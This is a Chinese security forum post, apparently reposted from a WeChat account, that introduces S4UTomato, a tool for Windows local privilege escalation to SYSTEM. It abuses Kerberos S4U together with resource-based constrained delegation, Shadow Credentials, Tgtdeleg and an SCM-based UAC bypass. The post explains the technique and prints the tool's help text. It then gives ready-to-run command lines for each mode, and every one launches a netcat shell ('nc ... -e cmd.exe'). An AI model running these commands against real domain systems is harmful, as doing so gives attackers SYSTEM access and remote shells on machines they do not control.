安全矩阵

 找回密码
 立即注册
搜索
查看: 754|回复: 0

S4UTomato!Kerberos提权利用工具

[复制链接]

417

主题

417

帖子

2391

积分

金牌会员

Rank: 6Rank: 6

积分
2391
发表于 2023-8-19 18:29:34 | 显示全部楼层 |阅读模式
点击关注 Hack分享吧 2023-08-19 08:30 发表于韩国



Kerberos

在计算机加入域的任何情况下,只要您可以在 Windows 服务帐户或 Microsoft 虚拟帐户的上下文中运行代码(前提是 Active Directory 没有),您就可以利用“传统土豆”技术进行本地权限升级。没有经过强化来完全防御此类攻击。
“Potato”的早期利用技术几乎相同:利用COM接口的某些功能,欺骗NT AUTHORITY\SYSTEM帐户连接并验证到攻击者控制的RPC服务器。

然后,通过一系列 API 调用,在此身份验证过程中执行中间(NTLM 中继)攻击,从而为本地系统上的 NT AUTHORITY\SYSTEM 帐户生成访问令牌。

最后这个token被窃取,使用CreateProcessWithToken()和CreateProcessAsUser()函数传递token并创建一个新的进程来获取SYSTEM权限。

在 Windows 域环境中,加入域的系统计算机帐户使用 SYSTEM、NETWORK SERVICE 和 Microsoft 虚拟帐户进行身份验证。了解这一点至关重要,因为在现代版本的 Windows 中,大多数 Windows 服务默认使用 Microsoft 虚拟帐户运行。值得注意的是,IIS 和 MSSQL 使用这些虚拟帐户,我相信其他应用程序也可能使用它们。因此,我们可以滥用S4U扩展来获取本机上域管理员帐户“Administrator”的服务票据。然后在 James Forshaw ( @tiraniddo ) 的 SCMUACBypass 的帮助下,我们可以使用该票证创建系统服务并获得 SYSTEM 权限。这实现了与“Potato”系列特权升级技术中使用的传统方法相同的效果。

在此之前,我们需要获取本地机器帐户的TGT(Ticket Granting Ticket)。这并不容易,因为服务帐户权限施加的限制使我们无法获取计算机的长期密钥,从而无法构造 KRB_AS_REQ 请求。为了实现上述目标,我利用了三种技术:Resource-based Constrained Delegation、Shadow Credentials 和 Tgtdeleg。作者基于 Rubeus 工具集构建了这个项目。


使用示例
  1. C:\Users\whoami\Desktop>S4UTomato.exe --help

  2. S4UTomato 1.0.0-beta
  3. Copyright (c) 2023

  4.   -d, --Domain              Domain (FQDN) to authenticate to.
  5.   -s, --Server              Host name of domain controller or LDAP server.
  6.   -m, --ComputerName        The new computer account to create.
  7.   -p, --ComputerPassword    The password of the new computer account to be created.
  8.   -f, --Force               Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
  9.                             object.
  10.   -c, --Command             Program to run.
  11.   -v, --Verbose             Output verbose debug information.
  12.   --help                    Display this help screen.
  13.   --version                 Display version information.
复制代码


利用Resource-based Constrained Delegation的LEP:

  1. S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
复制代码


利用Shadow Credentials + S4U2self的LEP:

  1. S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
复制代码



利用Tgtdeleg + S4U2self的LEP:

  1. # First retrieve the TGT through Tgtdeleg
  2. S4UTomato.exe tgtdeleg

  3. # Then run SCMUACBypass to obtain SYSTEM privilege
  4. S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
复制代码





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 14:48 , Processed in 0.014597 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表